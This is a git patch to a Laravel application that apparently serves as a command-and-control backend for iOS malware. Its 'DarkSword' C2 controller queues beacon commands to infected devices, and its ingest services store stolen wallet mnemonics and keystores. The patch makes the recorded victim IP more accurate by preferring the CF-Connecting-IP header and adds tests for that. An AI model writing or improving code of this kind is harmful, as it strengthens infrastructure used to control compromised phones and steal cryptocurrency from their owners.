From 5be0313ccdd5fce59c3276a744ccf500a64ddf19 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 19 Sep 2026 01:03:23 +0800 Subject: [PATCH] fix: ip --- app/Helpers.php | 2 +- app/Http/Controllers/Admin/AuthController.php | 5 +- app/Http/Controllers/Agent/AuthController.php | 3 +- .../Controllers/C2/DarkSwordC2Controller.php | 8 +-- .../Hooks/TelegramWebhookController.php | 5 +- .../Hooks/TokenviewWebhookController.php | 5 +- app/Http/Controllers/PageHitController.php | 3 +- app/Http/Middleware/DecryptCorunaBody.php | 5 +- app/Models/SystemLog.php | 3 +- app/Services/DarkSwordIngestAdapter.php | 20 ++----- app/Services/IngestService.php | 3 +- app/Support/VisitorIp.php | 48 +++++++++++++++++ bootstrap/app.php | 4 +- tests/Feature/DarkSwordC2ApiTest.php | 24 ++++++++- tests/Feature/DeviceCountryTest.php | 3 ++ tests/Feature/PageVisitTest.php | 19 +++++++ tests/Unit/VisitorIpTest.php | 54 +++++++++++++++++++ 17 files changed, 180 insertions(+), 34 deletions(-) create mode 100644 app/Support/VisitorIp.php create mode 100644 tests/Unit/VisitorIpTest.php diff --git a/app/Helpers.php b/app/Helpers.php index ed58141..27aa127 100644 --- a/app/Helpers.php +++ b/app/Helpers.php @@ -62,7 +62,7 @@ if (! function_exists('c2_log_request_meta')) { } return [ - 'ip' => $request->ip(), + 'ip' => \App\Support\VisitorIp::fromRequest($request), 'remote_addr' => $request->server->get('REMOTE_ADDR'), 'headers' => $headers, ]; diff --git a/app/Http/Controllers/Admin/AuthController.php b/app/Http/Controllers/Admin/AuthController.php index e3c2934..66e8ce9 100644 --- a/app/Http/Controllers/Admin/AuthController.php +++ b/app/Http/Controllers/Admin/AuthController.php @@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Services\AdminGoogle2fa; +use App\Support\VisitorIp; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; @@ -97,7 +98,7 @@ class AuthController extends Controller RateLimiter::clear($throttleKey); $request->session()->regenerate(); - $user->forceFill(['last_ip' => $request->ip()])->save(); + $user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save(); return response()->json([ 'code' => 0, @@ -117,6 +118,6 @@ class AuthController extends Controller private function throttleKey(Request $request): string { - return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip()); + return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request)); } } diff --git a/app/Http/Controllers/Agent/AuthController.php b/app/Http/Controllers/Agent/AuthController.php index 713ea23..2d1fc0f 100644 --- a/app/Http/Controllers/Agent/AuthController.php +++ b/app/Http/Controllers/Agent/AuthController.php @@ -5,6 +5,7 @@ namespace App\Http\Controllers\Agent; use App\Http\Controllers\Controller; use App\Models\User; use App\Services\AdminGoogle2fa; +use App\Support\VisitorIp; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; @@ -115,6 +116,6 @@ class AuthController extends Controller private function throttleKey(Request $request): string { - return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip()); + return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request)); } } diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index 64d1b3a..759a800 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -7,6 +7,7 @@ use App\Models\Device; use App\Models\PageVisit; use App\Services\DarkSwordIngestAdapter; use App\Services\DsBeaconQueue; +use App\Support\VisitorIp; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Response as SymfonyResponse; @@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller { $payload = $this->jsonBody($request); $device = $this->ingest->ensureDevice($request, $payload); - $command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null; + $ip = VisitorIp::fromRequest($request); + $command = $device ? $this->beaconQueue->dequeue($device, $ip) : null; $body = [ 'ok' => true, 'type' => $command['type'] ?? 'noop', - 'client_ip' => $request->ip(), + 'client_ip' => $ip, 'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null, ]; if ($command !== null) { @@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller 'dir' => 'ds', 'method' => $request->method(), 'path' => $path, - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'query' => $request->query(), 'headers' => c2_log_request_meta($request)['headers'], 'body' => $body, diff --git a/app/Http/Controllers/Hooks/TelegramWebhookController.php b/app/Http/Controllers/Hooks/TelegramWebhookController.php index 23489f4..51372a8 100644 --- a/app/Http/Controllers/Hooks/TelegramWebhookController.php +++ b/app/Http/Controllers/Hooks/TelegramWebhookController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Hooks; use App\Http\Controllers\Controller; use App\Support\SafeLog; +use App\Support\VisitorIp; use App\Telegram\TelegramBotContext; use Illuminate\Http\Request; use Illuminate\Http\Response; @@ -33,7 +34,7 @@ class TelegramWebhookController extends Controller $expectedSecret = (string) config('coruna.telegram.webhook_secret', ''); $this->webhookLog('info', 'telegram webhook hit', [ - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'update_id' => $updateId, 'chat_id' => $chatId, 'text' => $text, @@ -45,7 +46,7 @@ class TelegramWebhookController extends Controller if ($expectedSecret !== '') { if ($header === '' || ! hash_equals($expectedSecret, $header)) { $this->webhookLog('warning', 'telegram webhook rejected: bad secret', [ - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'update_id' => $updateId, ]); abort(403, 'Invalid webhook secret'); diff --git a/app/Http/Controllers/Hooks/TokenviewWebhookController.php b/app/Http/Controllers/Hooks/TokenviewWebhookController.php index d655573..b1c64b7 100644 --- a/app/Http/Controllers/Hooks/TokenviewWebhookController.php +++ b/app/Http/Controllers/Hooks/TokenviewWebhookController.php @@ -5,6 +5,7 @@ namespace App\Http\Controllers\Hooks; use App\Http\Controllers\Controller; use App\Services\Tokenview\TokenviewMonitorService; use App\Support\SafeLog; +use App\Support\VisitorIp; use Illuminate\Http\Request; use Illuminate\Http\Response; use Throwable; @@ -19,7 +20,7 @@ class TokenviewWebhookController extends Controller $payload = $this->decodePayload($request, $raw); $this->tvLog('info', 'tokenview webhook received', [ - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'method' => $request->method(), 'has_signature' => is_string($signature) && $signature !== '', 'body_bytes' => strlen($raw), @@ -31,7 +32,7 @@ class TokenviewWebhookController extends Controller $signed = $monitor->verifySignature($raw, $signature); if (! $signed) { $this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [ - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'body_bytes' => strlen($raw), ]); } elseif ($payload !== []) { diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php index 4bc1bcf..f144412 100644 --- a/app/Http/Controllers/PageHitController.php +++ b/app/Http/Controllers/PageHitController.php @@ -7,6 +7,7 @@ use App\Models\Channel; use App\Models\PageVisit; use App\Support\CfIpCountry; use App\Support\UserAgentParser; +use App\Support\VisitorIp; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Cache; @@ -32,7 +33,7 @@ class PageHitController extends Controller return $this->pixel(); } - $ip = PageVisit::normalizeIp((string) $request->ip()); + $ip = VisitorIp::fromRequest($request); $domain = PageVisit::normalizeDomain($request->getHost()); $uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip); diff --git a/app/Http/Middleware/DecryptCorunaBody.php b/app/Http/Middleware/DecryptCorunaBody.php index 111f154..2ed7b11 100644 --- a/app/Http/Middleware/DecryptCorunaBody.php +++ b/app/Http/Middleware/DecryptCorunaBody.php @@ -5,6 +5,7 @@ namespace App\Http\Middleware; use App\Models\Device; use App\Services\CorunaCrypto; use App\Services\IngestService; +use App\Support\VisitorIp; use Closure; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Response; @@ -87,7 +88,7 @@ class DecryptCorunaBody 'dir' => 'in', 'method' => $request->method(), 'path' => $path, - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, 'timestamp_hdr' => $timestamp ?: null, 'headers' => $headers, @@ -146,7 +147,7 @@ class DecryptCorunaBody 'dir' => 'out', 'method' => $request->method(), 'path' => $path, - 'ip' => $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null, 'status' => $response->getStatusCode(), 'timestamp_hdr' => $respTs ?: null, diff --git a/app/Models/SystemLog.php b/app/Models/SystemLog.php index 5959227..3f8fdb6 100644 --- a/app/Models/SystemLog.php +++ b/app/Models/SystemLog.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Support\VisitorIp; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\Request; @@ -54,7 +55,7 @@ class SystemLog extends Model 'actor_id' => $actor->id, 'actor_username' => (string) $actor->username, 'content' => $content, - 'ip' => $request?->ip(), + 'ip' => $request ? VisitorIp::fromRequest($request) : null, ]); } diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 248a12e..3e26b4c 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -11,6 +11,7 @@ use App\Models\WalletMnemonic; use App\Jobs\DecodeMemoDb; use App\Support\CfIpCountry; use App\Support\UserAgentParser; +use App\Support\VisitorIp; use App\Support\WalletSource; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; @@ -153,7 +154,7 @@ class DarkSwordIngestAdapter $parsed = UserAgentParser::parse($ua); $ios = $this->extractIos($payload); $channel = $this->extractChannelCode($payload) ?? ''; - $ip = $this->clientIp($request, $payload); + $ip = $this->clientIp($request); $referer = trim((string) $request->headers->get('referer', '')); $os = $ios !== null ? 'iOS' : $parsed['os']; @@ -271,7 +272,7 @@ class DarkSwordIngestAdapter return null; } - $ip = $this->clientIp($request, $payload); + $ip = $this->clientIp($request); $model = $this->extractModel($payload); $ios = $this->extractIos($payload); $channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key); @@ -602,20 +603,9 @@ class DarkSwordIngestAdapter return null; } - /** - * @param array $payload - */ - private function clientIp(Request $request, array $payload): string + private function clientIp(Request $request): string { - $reported = $payload['ip'] ?? null; - if (is_string($reported) && trim($reported) !== '') { - $normalized = PageVisit::normalizeIp(trim($reported)); - if ($normalized !== '') { - return substr($normalized, 0, 64); - } - } - - return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64); + return VisitorIp::fromRequest($request); } private function shouldReplaceModel(?string $current, string $incoming): bool diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 6ca73e0..03fdcba 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -17,6 +17,7 @@ use App\Models\WalletKeystore; use App\Models\WalletMnemonic; use App\Services\Tokenview\TokenviewMonitorService; use App\Support\CfIpCountry; +use App\Support\VisitorIp; use App\Support\NoteContent; use App\Support\WalletSource; use Illuminate\Database\UniqueConstraintViolationException; @@ -393,7 +394,7 @@ class IngestService $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $attrs = [ 'device_id' => $deviceKey, - 'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(), + 'ip' => VisitorIp::fromRequest($request), 'country' => CfIpCountry::fromRequest($request), 'device_model' => $this->extractDeviceModel($payload), 'ios_version' => $this->extractIosVersion($payload), diff --git a/app/Support/VisitorIp.php b/app/Support/VisitorIp.php new file mode 100644 index 0000000..d9a7e9f --- /dev/null +++ b/app/Support/VisitorIp.php @@ -0,0 +1,48 @@ +ip() when the request did not come through CDN. + * Do not trust JSON/query `ip` or a client-prefixed X-Forwarded-For hop. + */ +final class VisitorIp +{ + public static function fromRequest(Request $request): string + { + foreach (['CF-Connecting-IP', 'True-Client-IP'] as $header) { + $ip = self::normalize($request->headers->get($header)); + if ($ip !== '') { + return $ip; + } + } + + $fallback = self::normalize((string) $request->ip()); + + return $fallback !== '' ? $fallback : substr((string) $request->ip(), 0, 64); + } + + public static function normalize(?string $raw): string + { + $raw = trim((string) $raw); + if ($raw === '') { + return ''; + } + if (str_contains($raw, ',')) { + $raw = trim(explode(',', $raw, 2)[0]); + } + if (filter_var($raw, FILTER_VALIDATE_IP) === false) { + return ''; + } + + $norm = PageVisit::normalizeIp($raw); + + return $norm !== '' ? substr($norm, 0, 64) : ''; + } +} diff --git a/bootstrap/app.php b/bootstrap/app.php index 901cb09..3230d80 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -27,8 +27,8 @@ return Application::configure(basePath: dirname(__DIR__)) health: '/up', ) ->withMiddleware(function (Middleware $middleware): void { - // Cloudflare / reverse proxy: honor X-Forwarded-* so $request->ip() - // is the visitor IP. TRUSTED_PROXIES=* | CIDR list | empty to disable. + // Honor X-Forwarded-* for $request->ip() fallback. Visitor-facing + // IPs prefer CF-Connecting-IP via VisitorIp. TRUSTED_PROXIES=* | CIDR | empty. $trustedProxies = env('TRUSTED_PROXIES', '*'); if ($trustedProxies === '*') { $middleware->trustProxies(at: '*'); diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index 2f60646..e349026 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -223,10 +223,32 @@ class DarkSwordC2ApiTest extends TestCase $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('iPhone15,2', $device->device_model); $this->assertSame('18.6', $device->ios_version); - $this->assertSame('192.168.31.77', $device->ip); + $this->assertSame('127.0.0.1', $device->ip); $this->assertNull($device->channel_id); } + #[Test] + public function plaintext_a_uses_cf_connecting_ip_not_body_ip(): void + { + $this->call('POST', '/a', [], [], [], [ + 'CONTENT_TYPE' => 'application/json', + 'HTTP_CF_CONNECTING_IP' => '203.0.113.88', + 'HTTP_X_FORWARDED_FOR' => '1.2.3.4', + 'HTTP_CF_IPCOUNTRY' => 'JP', + ], json_encode([ + 'lhu' => self::DS_LHU, + 'machine' => 'iPhone15,2', + 'ios_version' => '18.6', + 'ip' => '192.168.31.77', + 'source' => 'c2_agent', + ], JSON_THROW_ON_ERROR))->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $this->assertSame('203.0.113.88', $device->ip); + $this->assertSame('JP', $device->country); + } + #[Test] public function shared_path_with_x_ts_still_uses_xxbb_ack(): void { diff --git a/tests/Feature/DeviceCountryTest.php b/tests/Feature/DeviceCountryTest.php index 8312b65..01b55a3 100644 --- a/tests/Feature/DeviceCountryTest.php +++ b/tests/Feature/DeviceCountryTest.php @@ -28,11 +28,14 @@ class DeviceCountryTest extends TestCase 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => $ts, 'HTTP_CF_IPCOUNTRY' => 'US', + 'HTTP_CF_CONNECTING_IP' => '203.0.113.44', + 'HTTP_X_FORWARDED_FOR' => '1.2.3.4', ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame('US', $device->country); + $this->assertSame('203.0.113.44', $device->ip); $this->assertStringContainsString('(美国)', $device->formattedIp()); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php index 63d941b..220ebfa 100644 --- a/tests/Feature/PageVisitTest.php +++ b/tests/Feature/PageVisitTest.php @@ -124,6 +124,25 @@ class PageVisitTest extends TestCase $this->assertSame('203.0.113.50', $row->ip); } + #[Test] + public function hit_prefers_cf_connecting_ip_over_x_forwarded_for(): void + { + Cache::flush(); + + $this->call('GET', '/statistic/t', [ + 'c' => self::CHANNEL, + 'u' => '11111111-2222-4333-8444-555555555555', + ], [], [], [ + 'REMOTE_ADDR' => '104.16.1.1', + 'HTTP_X_FORWARDED_FOR' => '1.2.3.4', + 'HTTP_CF_CONNECTING_IP' => '203.0.113.88', + ])->assertOk(); + + $row = PageVisit::query()->first(); + $this->assertNotNull($row); + $this->assertSame('203.0.113.88', $row->ip); + } + #[Test] public function hit_stores_cf_ipcountry(): void { diff --git a/tests/Unit/VisitorIpTest.php b/tests/Unit/VisitorIpTest.php new file mode 100644 index 0000000..2e32409 --- /dev/null +++ b/tests/Unit/VisitorIpTest.php @@ -0,0 +1,54 @@ + '104.16.1.1', + 'HTTP_X_FORWARDED_FOR' => '1.2.3.4, 203.0.113.50', + 'HTTP_TRUE_CLIENT_IP' => '198.51.100.9', + 'HTTP_CF_CONNECTING_IP' => '203.0.113.77', + ]); + + $this->assertSame('203.0.113.77', VisitorIp::fromRequest($request)); + } + + #[Test] + public function falls_back_to_true_client_ip_then_remote_addr(): void + { + $trueClient = Request::create('/', 'GET', [], [], [], [ + 'REMOTE_ADDR' => '104.16.1.1', + 'HTTP_X_FORWARDED_FOR' => '1.2.3.4', + 'HTTP_TRUE_CLIENT_IP' => '198.51.100.9', + ]); + $this->assertSame('198.51.100.9', VisitorIp::fromRequest($trueClient)); + + $direct = Request::create('/', 'GET', [], [], [], [ + 'REMOTE_ADDR' => '127.0.0.1', + ]); + $this->assertSame('127.0.0.1', VisitorIp::fromRequest($direct)); + } + + #[Test] + public function ignores_invalid_cf_header_and_unwraps_mapped_ipv6(): void + { + $invalid = Request::create('/', 'GET', [], [], [], [ + 'REMOTE_ADDR' => '127.0.0.1', + 'HTTP_CF_CONNECTING_IP' => 'not-an-ip', + ]); + $this->assertSame('127.0.0.1', VisitorIp::fromRequest($invalid)); + + $this->assertSame('203.0.113.9', VisitorIp::normalize('::ffff:203.0.113.9')); + $this->assertSame('203.0.113.9', VisitorIp::normalize('203.0.113.9, 10.0.0.1')); + $this->assertSame('', VisitorIp::normalize('unknown')); + } +}